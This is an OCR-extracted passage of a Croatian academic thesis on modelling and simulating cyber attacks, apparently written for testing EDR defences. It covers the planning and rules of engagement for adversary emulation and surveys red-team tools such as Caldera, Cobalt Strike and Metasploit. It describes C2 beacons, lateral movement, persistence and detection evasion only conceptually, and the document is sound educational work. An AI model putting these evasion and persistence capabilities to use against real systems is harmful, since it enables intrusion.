slabosti koje mogu biti iskoriStene. Svaka faza okvira sluzi kao prilika za postavljanje
detekcijskih toCaka, primjenu sigurnosnih mjera i razvoj odgovarajuéih procedura za odgovor
na incidente. Cyber Kill Chain takoder pomaze organizacijama u obuci sigurnosnih timova,
omogucavaju¢i im bolje razumijevanje ponasanja napadaca i1 potencijalnih ranjivosti unutar
njihovog informacijskog sustava. Koristenje okvira kao dijela redovnih sigurnosnih vjezbi
pomaze organizacijama kod testiranja sposobnosti sigurnosnih sustava i poboljSaju svoje

reakcije na stvarne ugroze.

4.2. Modeliranje napada

Modeliranje kibernetickih napada jedna je od klju¢nih aktivnosti u provodenju modernih
politika kiberneticke sigurnosti. Modeliranjem se stvaraju scenariji kibernetickih napada koji
vjerno oponasaju stvarne taktike, tehnike i procedure napadaca. Koristenje ove tehnike
organizacijama omogucuje proaktivno predvidanje potencijalnih napada, te im daje mogucnost
pripreme za poduzimanje pravovremene reakcije i zastite korporativnih informacijskih sustava,
[42], [43].

Izrada modela napada ukljucuje detaljno istrazivanje 1 analizu prijetnji, kroz koje se
identificiraju relevantne taktike, tehnike i procedure. Zivotni ciklus modeliranja i simulacije
kibernetickih ugroza prikazan je idu¢om slikom. Stvaranjem realisti¢nih scenarija napada,
organizacije testiraju otpornost svojih sigurnosnih sustava i provjeravaju postojanost procedura
odgovora na incidente. Provodenjem tako kreiranih testova u poslovnim okruzenjima cilj je

prepoznavanje i minimiziranje ranjivosti koje mogu biti iskoriStene u stvarnim napadima.

Implementacija
» Planiranje »| taktika, tehnika i >
procedura

Provodenje
simulacije

Istrazivanje taktika,

tehnika i procedura

Slika 2: Zivotni ciklus simuliranja kibernetickih napada, [49]
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Vaznost modeliranja napada ogleda se u njegovoj sposobnosti poboljsavanja svih aspekata
sigurnosti organizacije. Bolje razumijevanje prijetnji i identifikacija specifi¢nih ranjivosti
omogucuju promptno korigiranje tih slabosti, smanjujuci rizik od uspjesnih napada. Redovitim
simulacijama sigurnosni timovi stje¢u iskustvo i vjeStine potrebne za brzo prepoznavanje i
odgovaranje na ugroze, $to je vazna karika kod minimiziranja Stete i osiguravanja brzog

oporavka od sigurnosnog incidenata.

4.2.1. Istrazivanje taktika, tehnika i procedura
Istrazivanje taktika, tehnika i procedura predstavlja klju¢nu fazu u procesu modeliranja
kiberneti¢kih napada je organizacijama omogucuju bolje razumijevanje prijetnji s kojima se
suoCavaju. Ova faza modeliranja napada bitna je zbog toga Sto organizacije svrsishodno
prepoznaju i analiziraju kiberneticke prijetnje koje su specifi¢no vezane uz njihov djelokrug
djelovanja. Cilj istrazivanja taktika, tehnika i procedura je fokusiranje organizacije na prijetnje
koje su najrelevantnije za poslovanje, industriju i tehnolosku infrastrukturu u kojoj se nalaze.
Takvim pristupom omogucuje se ucinkovito usmjeravanje resursa u zastitu od napadaca koji

predstavljaju najveéu ugrozu poslovnoj infrastrukturi, [50].

Kako bi istrazivanje bilo uc¢inkovito, ono mora pratiti ciljeve organizacije i njezinu specifi¢nu
sigurnosnu arhitekturu. Svrsishodno istrazivanje zahtijeva opseZno poznavanje relevantnih
kibernetickih prijetnji, ali 1 uskladivanje s operativnim potrebama 1 strategijama organizacije.
Organizacije moraju razumjeti koji su najvjerojatniji napadaci koji ciljaju njihove poslovne
procese te koje taktike mogli primijeniti. Ova faza nije samo tehnicka analiza prijetnji, vec

ukljucuje i strateSko razmatranje mogucih napadaca i njihove metode napada, [51].

Za kvalitetnu istragu 1 identifikaciju relevantnih tehnika, klju¢no je prikupiti interne i eksterne
informacije. Interne informacije ukljucuju podatke o prijasnjim sigurnosnim incidentima,
ranjivostima u sustavu i zabrinutostima specifi¢cnim za organizaciju. Ove informacije pomazu
u razumijevanju gdje se organizacija nalazi na spektru sigurnosnog rizika i koje slabosti se
najceS¢e mogu iskoristiti u budu¢im napadima. Eksterne informacije, poput obavjeStajnih
izvjestaja predstavljaju jednako vazne izvore informacija, one ukljucuju izvjestaje analitiCara
iz industrije, javno dostupne izvore te vijesti o nedavnim napadima. Ovi izvori pruzaju detaljne
uvide u taktike i metode koje su napadaci nedavno koristili s ciljem pruzanja mogucnosti

organizacijama da anticipiraju buduce prijetnje, [52].
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4.2.2. Odabir malicioznog aktera i taktika, tehnika i procedura
Odabir malicioznog aktera i odgovarajucih taktika, tehnika i procedura predstavlja vaznu fazu
u procesu modeliranja kibernetickih prijetnji. Ova faza temelji se na nekoliko klju¢nih nacela
koja osiguravaju relevantnost, realistinost i izvedivost simulacije. Prilikom odabira
malicioznih aktera i njihovih karakteristika, organizacije moraju pratiti principe relevantnosti,

dostupnosti obavjestajnih podataka, kompleksnosti tehnika i dostupnosti resursa.

Prvo nacelo koje se primjenjuje u procesu odabira je relevantnost. Odabir malicioznog aktera
mora biti u skladu s ciljevima organizacije i industrijom u kojoj se nalazi. Na primjer,
organizacije u financijskom sektoru mozda ¢e biti vise izloZene napadima ciljanima na kradu
financijskih podataka ili pristup poslovnim aplikacijama, dok ¢e tehnoloske tvrtke biti osjetljive
na napade s ciljem krade intelektualnog vlasniStva. Odabir malicioznih aktera koji su ve¢
poznati po napadima na sli¢ne organizacije omogucuje simulaciju stvarnih prijetnji i testiranje

otpornosti na relevantne scenarije, [51].

Drugo vazno nacelo je dostupnost obavjestajnih podataka o malicioznim akterima. Postojanost
analitickih izvjeStaja, relevantnih povijesnih podataka organizacijama daje uvid u nacine
provodenja napada i op¢enito ponasanje odredenih napadackih skupina. KoriStenje relevantnih
izvora informacija u kontekstu modeliranja kibernetickih napada svim dionicima simulacije

omogucuje kreiranje pouzdanih imitacija stvarnih tehnika napadaca.

Kompleksnost taktika, tehnika 1 procedura od velikog je zna¢aja u procesu odabira malicioznog
aktera Ciji ¢e se napadi simulirati. Neki napadaci koriste dobro poznate alate crvenih timova,
poput Metasploit ili Cobalt Strike platformi, dok slozeniji napadi mogu zahtijevati razvoj
prilagodenih alata koji repliciraju specifi¢ne tehnike napadaca. Kod taktika koje zahtijevaju
nestandardne alate, organizacija mora procijeniti isplativost njihove implementacije.
Kompleksnost takoder utje¢e na vremenski okvir simulacije, gdje sloZeniji napadi zahtijevaju

viSe vremena za pripremu i izvedbu §to otezava njihovu realizaciju u kratkim vremenskim

rokovima koji su sve ¢e$ca pojava u svijetu kiberneticke sigurnosti, [44].

4.2.3. Kreiranje nacrta tehnika, taktika i procedura
Kreiranje nacrta tehnika, taktika i procedura predstavlja korak koji ukljucuje izradu
dokumentacije koja detaljno definira sve entitete koji ¢e biti simulirani, zajedno s referencama
na relevantne izvore obavjeStajnih podataka o prijetnjama. Svaka tehnika mora biti jasno
opisana s preciznim referencama iz obavjeStajnih ili industrijskih izvjeStaja u svrhu

osiguravanja realisti¢nosti simulacije i vjerodostojnosti koristenih podataka.
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Dokumentacija sluzi kao operativni vodi¢ za implementaciju odabranih taktika. Njezina svrha
je omoguditi sigurnosnim timovima detaljan uvid u sve segmente simulacije, ukljucujuéi
tehniCke specifikacije koristenih tehnika te potrebne alate i postupke za njihovo izvodenje.
Izradenom dokumentacijom osigurava se dosljednost tijekom simulacije, omogucujuéi
timovima da prate unaprijed definirane korake i time izbjegnu odstupanja od plana. Takoder,
dokumentacija sadrzi pravila angazmana koja definiraju ograni¢enja i smjernice za provodenje
simulacije. Pravila angazmana osiguravaju da se simulacija odvija u kontroliranim uvjetima bez
prekoracenja dogovorenih granica ili ugrozavanja operativnih sustava organizacije. Ova pravila
ukljucuju: opseg simulacije, vremenski okvir te dozvole za provodenje napada unutar

organizacije.

4.2.4. Planiranje simulacije
Planiranje simulacije kiberneti¢kih napada klju¢no je kako bi se osigurala jasna i uspjeSna
provedba simulacije. Ova faza uklju¢uje definiranje kljuénih komponenti simulacije, kao $to su
ciljevi, opseg simulacije, vremenski okvir, pravila angazmana, potrebna odobrenja te
komunikacijski plan. Svrha ove faze je uspostaviti detaljan plan koji omogucuje sigurno i

kontrolirano provodenje simulacije, uz jasno definirane granice i ciljeve.

Ciljevi simulacije definiraju specificne ishode koje organizacija Zeli posti¢i kroz simulaciju,
ukljucujudi testiranje odredenih sigurnosnih sustava, identifikaciju ranjivosti ili pobolj$anje
procesa odgovora na incidente. Opseg simulacije odreduje koji dijelovi infrastrukture ¢e biti
ukljuceni u simulaciju, kao 1 koji ¢e sustavi biti izvan opsega. Na ovaj nacin osigurava se da
simulacija ne utjeCe na kriticne poslovne procese koji nisu dio scenarija napada. Opseg
simulacije treba precizno definirati kako bi svi sudionici razumjeli kontekst simulacije i

infrastrukturne elemente koji su ukljuceni.

Vremenski okvir simulacije mora biti unaprijed odreden kako bi se simulacija mogla jasno
razlikovati od stvarnih poslovnih aktivnosti. Definiranje vremena za provodenje simulacije
kljucno je kako bi se izbjegli operativni problemi ili neplanirani prekidi u radu kriti¢nih sustava.
Takoder je potrebno odrediti razdoblja kada je simulacija zabranjena s ciljem minimiziranja

mogucih smetnji.

Pravila testiranja definiraju koje ¢e se tehnike, taktike i procedure koristiti tijekom simulacije
te koje su ovlasti i ograniCenja timova ukljuéenih u simulaciju. Takoder, pravila testiranja
moraju ukljucivati mjere oporavka za rizi¢ne taktike kako bi se izbjegli potencijalni incidenti

ili neplanirane posljedice simulacije. To ukljuCuje jasno definirane korake za upravljanje
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rizicima koji proizlaze iz simuliranih napada, kao i ograni¢enja za koristenje odredenih tehnika

koje bi destruktivno djelovale na poslovne sustave.

Odobrenja za rad predstavljaju eksplicitno pisano odobrenje za provodenje simulacije i davanje
ovlasti timovima uklju¢enim u testiranje. Pisano odobrenje klju¢no je za pravnu i operativnu
odgovornost s ciljem osiguravanja da svi sudionici i menadzment organizacije razumiju rizike

1 svrhu simulacije, te da su sve strane suglasne s njezinim provodenjem.

Komunikacijska matrica definira na¢in komunikacije tijekom provodenja simulacije. Ukljucuje
informacije kao S§to su: ucestalost razmjene informacija, definiranje sudionika koji je zaduzen
za kolaboraciju izmedu razlicitih timova, te procedure odgovora na incidente koji se pojavljuju
tijekom simulacije. Cilj je osigurati jasne kanale komunikacije kako bi se omogucila
ucinkovitija koordinacija i brzi odgovor na sve neocekivane dogadaje tijekom provodenja

simulacije.

4.2.5. Implementacija taktika, tehnika i procedura
Implementacija se moze definirati kao procedura za izvrSenje jedne ili vise tehnika i taktika
koje su prethodno odabrane tijekom faze planiranja. Ona ukljucuje sve potrebne tehnicke i
resursne segmente za uspjesnu realizaciju napada. To podrazumijeva koriStenje odgovarajuc¢ih

alata, skripti, binarnih datoteka i drugih resursa koji su potrebni za implementaciju.

Implementacija taktika takoder ukljucuje odabir i koriStenje specificnih alata i tehnika koje
omogucuju simulaciju napada. Ovisno o vrsti napada koji se simulira, mogu se koristiti
komercijalni ili alati otvorenog koda za penetracijsko testiranje, skriptiranje i upravljanje
napadackim kampanjama. Platforme poput Metasploit i Cobalt Strike Cesto se koriste za
simulaciju sloZenijih napada, dok se manje sofisticirani napadi mogu simulirati jednostavnim
skriptama ili koriStenjem predefiniranih binarnih datoteka. Svaki alat i tehnika trebaju biti
pazljivo odabrani kako bi se osigurala realisticnost napada, te s ciljem maksimiziranja

relevantnosti rezultata simulacije.

Implementacijska faza predstavlja operativnu proceduru koja opisuje kako se napad provodi
pomocu specifi¢nih alata i tehnika. Tijekom ove faze sigurnosni timovi pazljivo prate izvedbu
svake taktike, procjenjuju¢i ucinkovitost sigurnosnih sustava i identificiraju¢i slabosti u
sustavima. Kroz dosljednu implementaciju organizacije utvrduju kako njihovi sustavi reagiraju
na stvarne prijetnje te daju prijedloge za poboljSanje sigurnosnih mehanizma na temelju

rezultata simulacije.
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4.2.6. Provodenje simulacije

Provodenje simulacije kibernetickih napada slozen je proces koji ukljucuje metodicno i

profesionalno izvr$avanje unaprijed definiranih taktika, tehnika i procedura kako bi se testirala

otpornost sigurnosnih sustava organizacije. Ovaj proces zahtijeva pazljivu pripremu i temeljito

pracenje svih aktivnosti kako bi se osigurala uspje$na provedba simulacije i postigli ciljevi

definirani u fazi planiranja.

Revizija - Provodenje
implementacije " testiranja

lzvjestavanje

A4

Dokumentiranje

Y

Zapazanja

A 4

Slika 3: Proces provodenja simulacije

Proces provodenja simulacije podijeljen je u pet kljucnih faza prikazanih gornjom slikom:

Revizija implementacije: Ova faza ukljucuje reviziju i provjeru svih relevantnih stavki
iz kreiranog plana simulacije, S§to obuhvada pregled zaduzenja dionika, tehnicku
pripremu alata i taktika te evaluaciju potencijalnog utjecaja na sustav. Prije samog
pokretanja testiranja, tim mora biti siguran da su svi resursi i sustavi spremni za
testiranje, a svi dionici obavijesteni o svojim zaduzenjima i ulogama.

Provodenje testiranja: Podrazumijeva izvodenje odabranih taktika, ali s dodatnom
paznjom na poStivanje opsega simulacije i pravila angazmana. Timovi u ovoj fazi
provjeravaju je li su sve aktivnosti unutar definiranih granica te da simulacija ne
naruSava stvarne poslovne aktivnosti ili kriti¢ne sustave.

Zapazanja: Tijekom simulacije vazno je zabiljeziti zapazanja o tome kako sustavi
reagiraju na simulirane napade, biljeske ukljuc¢uju informacije o tome je li odredeni test
bio uspjesan ili blokiran, je li detektiran od strane sigurnosnih sustava ili je izvrSen
neprimijeceno. Takoder biljeze se mogucée greske sustava, korisnicke pogreske ili
preventivne mjere koje su uspjesno zaustavile napad. Faza zapaZanja kljucna je za
procjenu ucinkovitosti sigurnosnih mjera organizacije.

Dokumentiranje: Dokumentacija pruza empirijske dokaze o tome kako su sustavi
reagirali na simulirane napade i koliko su ucinkovite postojece sigurnosne mjere. Ovaj
proces ukljucuje prikupljanje podataka o svakom provedenom testu, uz biljeZenje
rezultata 1 svih dodatnih informacija koje mogu biti vazne za naknadnu analizu i
evaluaciju.

Izvjestavanje: Nakon provodenja simulacije, tim zaduzen za simulaciju napada

obavjestava dionike o provedenim akcijama i zapazanjima. Ova faza ukljucuje izradu
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sazetog izvjestaja koji detaljno opisuje sve segmente simulacije, provedene testove,
zapazanja tijekom simulacije te rezultate testiranja. Cilj izvjeStavanja je pruZziti
dionicima jasne informacije koje im omogucuju donoSenje informiranih odluka o

poboljsanju sigurnosnih mjera i procedura organizacije.

4.3. Pregled alata za simuliranje kiberneti¢kih napada

Platforme za simulaciju napada imaju klju¢nu ulogu u definiranju sigurnosnih politika
organizacije, osobito kada je rijec o testiranju i evaluaciji sigurnosnih rjeSenja kao sto su EDR
sustavi. Svrha ovih platformi je omoguciti organizacijama da u kontroliranim uvjetima
simuliraju stvarne kiberneti¢ke napade koriStenjem poznatih napadackih taktika, tehnika i
procedura. Koristenje platformi postalo je neophodno zbog sve sofisticiranijih prijetnji s kojima
se organizacije suocavaju. Sigurnosni timovi kroz simulaciju testiraju stvarne prijetnje, ¢ime
dobivaju uvid u brzinu i ucinkovitost koristenih EDR rjeSenja kod prepoznavanja i

neutraliziranja napada.

Najcesce koriSteni alati za simuliranje kiberneti¢kih prijetnji su: MITRE Caldera, Cobalt

Strike, Atomic Red Team, Metasploit, Core Impact, AttacklQ.

4.3.1. MITRE Caldera
MITRE Caldera je napredan alat za simulaciju napadaca koji se koristi u domeni informacijske
sigurnosti, s posebnim fokusom na aktivnosti crvenog tima, testiranje otpornosti sustava i
automatizaciju sigurnosnih ugroza. Razvijen od strane istrazivackog instituta MITRE, Caldera
omogucuje timovima za sigurnost da automatiziraju napade koji simuliraju stvarne tehnike

napadaca kako bi procijenili sigurnost sustava.

MITRE Caldera koristi programske dodatke, odnosno proSirenja koja omogucuju
prilagodavanje 1 Sirenje funkcionalnosti prema specifi¢nim potrebama plana simulacije. Alat
koristi arhitekturu temeljenu na agentima koja omogucuje izvodenje napada na udaljene
sustave, svaki agent postavljen u ciljanom sustavu moZe izvrSavati skripte koje oponasaju

napadacke tehnike koje su mu instruirane kroz komunikaciju s centralnim posluziteljem, [53].
Osnovne komponente MITRE Caldera sustava ukljucuju, [53]:

e Centralni posluZzitelj: Koordinira napade 1 upravlja agentima. Takoder sluzi za

definiranje kampanja, strategija napada, te za pra¢enje rezultata simulacija.
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e Agenti: Programski kod koji se instalira na ciljne radne stanice kako bi simulirao
napadacke tehnike. Agenti mogu izvrSavati naredbe te pruzati povratne informacije 0
uspjehu ili neuspjehu napada.

e GUI i APIL: Graficko korisni¢ko sucelje koje olakSava korisnicima upravljanje

operacijama, kao i API za integraciju s drugim sigurnosnim alatima. Izgled grafickog

sucelja prikazan je idu¢om slikom.

CALDERA

«

training X

Training

9o

Demonstrate your abllity to deploy an agent

Local agent

on local host. The agent should successfully
beacon back to this server Instance.
An agent is another name for Remote Access
Trojan (RAT). These programs, written in any
language, execute an adversary's instructions
on compromised computers. Often, an agent
will communicate back to the adversary
v
Agent filename 0

Ensure that new agents will be named

“super_scary” when downloaded on any host.

Note that the extension s automatically

bt

>

PRRPRPRPPPPPRPRPPRPRRPRPRPRPRERPRP

o

Demonstrate your ability to deploy an agent

Remote agent

on aremote host. The agent should
successfully beacon back to this server
Instance. This agent should be run on an
operating system that Is NOT the same as
what is hosting the server (Hint: If running
caldera on any flavor of Linux, use a Windows

or Mac for remote host). It is OK to use a

v

o

Using a Stockpile ability, ensure new agents

Bootstrap abilities

automatically run "whoami” on thelr first

beacon. Locate the ability that executes this

Understanding trust @
Change the untrusted agent timer to 60
seconds.

Agents beacon into the C2 on a regular basis,
asking the adversary if there are new
instructions. if a beacon misses a regularly
scheduled interval, there is a chance the agent
itself has been discovered and compromised.

Defenders may attempt to reverse-engineer the

v

o

Deploy a new agent, using a different contact

Contact points

polnt then your first agent

If an adversary deploys all of their agents on a

=

Update agent @
Pick any agent and change the group and
sleep (min and max) values associated to it.
If an agent’s beacon time is too regular - or
predictable - it runs a higher chance of getting
caught. It is advisable to select a random time
range instead of a hard-coded interval. Usually,
an y will aim to have multiple agents

deployed on a host, with some frequent beacon

v

Kill agent O
Kill one of your agents through the GUI
In red-team engagements, operators often need

to clean up the environments under test at the

Slika 4: Izgled grafickog sucelja i prikaz funkcionalnosti MITRE Cladera platforme

Jedna od klju¢nih funkcionalnosti platforme je moguénost pokretanja unaprijed definiranih ili
prilagodenih scenarija napada. Upotrebom umjetne inteligencije omogucuje se automatizacija
provodenja napada, na nacin da sustav prepoznaje i odabire razli¢ite napadacke metode i
dinamiku napada u ovisnosti o rezultatima izvrSavanja prijasnjih koraka napada. Ovakvim
naé¢inom rada, platforma organizacijama omogucéava provodenje slozenih napada bez potrebe

za interakcijom s krajnjim korisnikom.

MITRE Caldera je Cesto koristeni alat u korporativnom okruzenju zbog svoje dostupnosti,
odnosno zbog toga §to se radi o alatu otvorenog koda s velikom zajednicom razvojnih
programera i korisnika koji pruzaju podrsku i razvijaju nove funkcionalnosti. Takoder alat svoje
prednosti manifestira kroz jednostavnu i sigurnu automatizaciju procesa, modularnu arhitekturu
te integraciju s MITRE ATT&CK radnim okvirom. S druge strane, nedostaci Caldera platforme
su zahtjevno koriStenje naprednih mogucénosti zbog ograni¢ene tehnicke dokumentacije, te

limitiranost agenata, koji su ve¢inom izradeni s podr§kom za Windows poslovna okruzenja.
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4.3.2. Cobalt Strike
Cobalt Strike je komercijalni alat razvijen za crvene timove, simulaciju napada i procjenu
sigurnosti informacijskih sustava. KoriSten je od strane sigurnosnih stru¢njaka, a sve CeSée
postaje alat zlonamjernih aktera zbog svoje mogucénosti preciznog oponasanja tehnika stvarnih

napadaca.

Glavna svrha alata je pruzanje platforme za izvodenje operacija s punom integracijom faza
napada, od inicijalnog pristupa u mrezu do odrzavanja prisutnosti i eksfiltracije podataka.
Najcesca upotreba je u vjezbama crvenog tima gdje napadacke tehnike postaju kljucni alat za

razumijevanje stvarnih aktivnosti napadaca i kako se zastititi od njih, [54].
Cobalt Strike nudi sirok spektar funkcionalnosti kroz nekoliko klju¢nih komponenti:

e Beacon: Najvaznija funkcionalnost koja se definira kao programski kod koji napadac
ugraduje u ciljanu mrezu ili sustav. Beacon omogucéuje zlonamjernim akterima ili
sigurnosnim stru¢njacima da neometano komuniciraju s kompromitiranim sustavima,
izvrSavajuci naredbe, eskaliraju¢i privilegije 1 prikupljaju¢i podatke. Agent podrzava
razli¢ite nacine komunikacije, ukljucuju¢i HTTP, HTTPS, DNS i SMB protokole, Sto
mu omogucava izbjegavanje detekcije od strane sigurnosnih alata.

e Napredne tehnike eskalacije privilegija i bo¢no kretanje: Cobalt Strike nudi podrsku za
izvodenje bo¢nog kretanja unutar mreze, Sto omogucuje napadacima Sirenje pristupa s
jednog sustava na druge unutar mreze.

e Alati socijalnog inZenjeringa: Alat takoder ukljucuje module za socijalni inzenjering,
koji omogucuju kreiranje prilagodenih kampanja, iskoriStavanje laznih web stranica i
manipulaciju korisnicima kako bi otkrili osjetljive podatke ili omogudili pristup
sustavima.

e Alati za omogucavanje perzistentnosti: Nakon §to je sustav kompromitiran, Cobalt
Strike omogucuje niz aktivnosti koje ukljucuju skrivanje prisutnosti unutar sustava,
prikupljanje osjetljivih podataka te umetanje straznjih vrata kako bi napadac¢i mogli

ponovno pristupiti sustavu u kasnijim fazama napada.

Cobalt Strike koristi arhitekturu temeljenu na agentima, s Beacon agentom kao glavnim
komunikacijskim alatom. Komunikacija izmedu Beacon agenata i napada¢a modulira se s
ciljem smanjenja mogucnosti detekcije napada. Alat takoder nudi moguénost stvaranja

prilagodenih modula za proSirenje funkcionalnosti, Sto ga ¢ini vrlo fleksibilnim alatom za
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simulacije. Koristenjem skriptnih jezika napredni korisnici mogu automatizirati operacije i

prilagoditi alat prema specificnim scenarijima napada.

4.3.3. Atomic Red Team
Atomic Red Team (ART) je sigurnosna platforma otvorenog koda koja omoguéava sigurnosnim
timovima testiranje sigurnosnih kontrola svojih sustava simuliranjem stvarnih napadackih
tehnika. Alat je razvijen od strane tvrtke Red Canary i temelji se na MITRE ATT&CK okviru,
daju¢i organizacijama strukturiran i lako prilagodljiv pristup za evaluaciju obrambenih

sposobnosti kroz predefinirane testove za pojedinacne napadacke tehnike.

ART je dizajniran kako bi omoguéio brzo i jednostavno provodenje testova sigurnosnih
kontrola bez potrebe za kompleksnom konfiguracijom ili dubokim tehnickim znanjem.
Primarni cilj ove platforme je omoguditi sigurnosnim timovima provodenje testiranja
sigurnosnih mjera protiv Sirokog spektra stvarnih prijetnji. Atomic Red Team korisnicima pruza
testove koji repliciraju napadacke tehnike, $to omogucuje procjenu kako postojeéi sigurnosni

sustavi 1 alati reagiraju na specifi¢ne napade.
Klju¢ne znacajke Atomic Red Team-a ukljuéuju, [55]:

e Brzaimplementacija testova: ART testovi jednostavnog su dizajna te su spremni za laku
i brzu primjenu.

e Lakoc¢a koriStenja: Atomic Red Team koristi jednostavne skripte i alate koji su
kompatibilni s razli¢itim operacijskim sustavima.

e Modularnost i prilagodljivost: Svaki ART test moze se prilagoditi specificnim
potrebama organizacije, a korisnici mogu kombinirati razliite testove kako bi stvorili
sloZenije scenarije.

e Integracija s MITRE ATT&CK okvirom: Svaki test je mapiran prema ATT&CK
tehnikama, omogucujuci korisnicima da precizno testiraju odredene napadacke metode

i identificiraju slabosti u svojim sigurnosnim mjerama.

Svaki ART test sastoji se od testnih skripti, unaprijed definiranih parametara i dokumentacije.
Testne skripte sadrze naredbe pomocu kojih se simuliraju odredene napadacke tehnike, pomocu
unaprijed definiranih parametara omogucuje se provodenje napada uz minimalne dodatne
konfiguracije sustava, dok dostupna dokumentacija korisnicima opisuje na koji nacin provesti

simulaciju, [56].
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4.3.4. Metasploit
Metasploit predstavlja sveobuhvatnu platformu za penetracijsko testiranje, osmisljenu za
identifikaciju i eksploataciju ranjivosti u informacijskim sustavima. Primarno se Koristi za
simulaciju stvarnih napada s ciljem evaluacije sigurnosnih kontrola i procjene otpornosti
sustava. Alat omogucuje korisnicima reproduciranje cijelog napadackog ciklusa, od inicijalne
identifikacije ranjivosti, preko iskoristavanja tih slabosti, do post eksploatacijskih aktivnosti

unutar kompromitiranog sustava.

Metasploit se temelji na modularnoj arhitekturi, §to omogucuje njegovu prilagodbu razli¢itim
scenarijima i vrstama napada. Ova platforma nudi Sirok raspon funkcionalnosti, ukljucujuéi
eksploataciju poznatih ranjivosti, post eksploatacijske operacije, analizu mreze i prilagodbu

napadackih modula, ¢ime se omogucuje detaljna i ciljana procjena sigurnosne infrastrukture.
Neke od klju¢nih funkcionalnosti Metasploit platforme su, [44]:

e Eksploatacija ranjivosti: Koristenjem unaprijed definiranih modula, Metasploit
omogucuje korisnicima iskoriStavanje specifi¢nih ranjivosti na ciljanom sustavu.

e Modularna arhitektura: Metasploit se temelji na modularnom sustavu koji korisnicima
omogucuje jednostavno kombiniranje razli¢itth modula za prilagodbu specifi¢nim
scenarijima napada.

e Post eksploatacija: Nakon uspjeSnog iskori$tavanja slabosti, platforma nudi niz post
eksploatacijskih modula koji omogucéuju daljnje aktivnosti na kompromitiranom
sustavu.

e Integracija s drugim alatima: Metasploit se moze integrirati s alatima kao $to su Nmap

i Nessus, omogucujuci automatizirano otkrivanje i iskoristavanje ranjivosti.

Metasploit je razvijen s modularnom arhitekturom, $to znaci da se sastoji od razli¢itih modula
koji obuhvacaju sve faze napada. Ti moduli omogucuju visok stupanj prilagodljivosti 1

fleksibilnosti, a medu kljuénim modulima su, [57]:

e Moduli ranjivosti: Moduli za iskoriStavanje ranjivosti omogucuju korisnicima
iskoriStavanje poznatih ranjivosti u ciljnim sustavima. Kreirane ranjivosti mogu biti
usmjerene na slabosti u operacijskim sustavima, aplikacijama ili mreZnim protokolima.

e Moduli malicioznog tereta: Teret je komponenta koja se izvrSava nakon uspjesne

eksploatacije i omogucuje daljnje djelovanje unutar kompromitiranog sustava.
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e Pomo¢ni moduli: Ovi moduli se koriste za podrsku tijekom faza otkrivanja i prikupljanja
informacija. Pomo¢ni moduli mogu se koristiti za skeniranje portova, napade rjeénikom
na autentifikacijske mehanizme ili otkrivanje ranjivih servisa.

e Kriptografski moduli: Enkripcijski moduli omogucuju Sifriranje malicioznog tereta s
ciljem izbjegavanja detekcije od strane sustava za zastitu.

e Post eksploatacijski moduli: Nakon $to je sustav kompromitiran, ovi moduli omogucuju

napredne aktivnosti poput prikupljanja zaporki, eskalacije privilegija i analize mreZe.

4.3.5. Core Impact
Core Impact je komercijalna platforma za penetracijsko testiranje koja omoguéava
struénjacima za sigurnost provodenje sveobuhvatnih procjena ranjivosti i simulacija stvarnih
napada. Cilj alata je pomo¢i organizacijama u procjeni otpornosti infrastrukture na razlicite
vrste prijetnji, od napada na mreze 1 aplikacije do testiranja krajnjih to¢aka. Primjenom ove
platforme omogucuje se precizna procjena ucinkovitosti sigurnosnih kontrola i pomaze se u

identificiranju kriti¢nih ranjivosti koje bi mogle biti iskoriStene u stvarnim napadima.

Core Impact istice se moguénos¢u integriranja razli¢itth faza napada u jednu cjelovitu
platformu, od otkrivanja ranjivosti do post eksploatacijskih aktivnosti. Njegova modularna
struktura omogucuje korisnicima prilagodbu testova specifiénim potrebama, a automatizirane

funkcionalnosti ¢ine ga pristupa¢nim ¢ak i za timove s ograni¢enim resursima.
Kljuéne funkcionalnosti Core Impact platforme ukljucuju, [58]:

e IskoriStavanje ranjivosti: Platforma nudi brojne module za eksploataciju poznatih
ranjivosti u operacijskim sustavima, aplikacijama i mrezama.

e Post eksploatacijske aktivnosti: Nakon uspjeSne kompromitacije, Core Impact
omogucuje daljnje aktivnosti kao $to su eskalacija prava, bo¢no kretanje unutar mreze i
prikupljanje podataka.

e Testiranje aplikacija i krajnjih tocCaka: Platforma daje moguénost ciljanih testova
usmjerenih na web aplikacije, mobilne aplikacije i krajnje to¢ke, omogucujuéi time

detaljnu procjenu sigurnosnih mehanizama.

Core Impact je izgraden na modularnoj arhitekturi, s jasno definiranim fazama napada. Svaka
faza omogucuje koriStenje specificnih modula za otkrivanje i1 iskoriStavanje ranjivosti,

prilagodljivih potrebama organizacije. Osim eksploatacije, alat nudi Sirok raspon post
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eksploatacijskih mogucnosti, kao i znacajke koje omogucuju eskalaciju napada kroz lateralno

kretanje u mrezi.

4.3.6. AttacklQ
AttacklQ je platforma za procjenu kiberneticke otpornosti koja omoguéuje organizacijama
simulaciju stvarnih napada i testiranje u¢inkovitosti njihovih sigurnosnih kontrola. Ovaj alat
koristi se za kontinuirano testiranje i validaciju sigurnosnih mjera kako bi se identificirale
ranjivosti te poboljSao odgovor na ugroze. AttacklQ se temelji na konceptu kontinuiranog
simuliranja naprednih kibernetickih prijetnji (engl. Breach and Attack Simulation, BAS), koji
omogucuje sigurnosnim timovima da u kontroliranim uvjetima provode simulacije napada 1

procjenjuju kako bi postoje¢i obrambeni mehanizmi reagirali u stvarnim scenarijima, [59].

AttacklQ platforma pruza Sirok raspon funkcionalnosti koje olaksavaju simulaciju napada kroz
koriStenje unaprijed definiranih napadackih tehnika i taktika utemeljenih na MITRE ATT&CK
okviru. Alat je dizajniran kako bi organizacijama omogucio stvaranje realnih simulacija napada

te kontinuirano testiranje sigurnosnih mjera, ¢ime se smanjuje rizik od kompromitacije sustava.
Kljuéne funkcionalnosti AttacklQ platforme ukljucuju, [60]:

e Simulacija napada: Platforma omogucuje oponaSanje stvarnih napadackih tehnika kroz
koriStenje unaprijed definiranih scenarija koji pokrivaju razliCite faze napada,
ukljucujuéi inicijalni upad, eskalaciju privilegija 1 eksfiltraciju podataka.

e Kontinuirano testiranje: AttacklQ omoguéuje sigurnosnim timovima da redovito
provode simulacije napada i testiraju ucinkovitost sigurnosnih kontrola u stvarnom
vremenu, ¢ime se osigurava stalna provjera sustava.

e Uskladenost s MITRE ATT&CK okvirom: AttacklQ Koristi standardizirane napadacke
tehnike iz MITRE ATT&CK okvira, omogucujudi ciljana testiranja specificnih ugroza
koje odgovaraju stvarnim scenarijima napada.

e Automatizacija napada: Automatizirane znacajke platforme olakSavaju planiranje i

provodenje testova bez potrebe za ru¢nim upravljanjem svakom fazom napada.

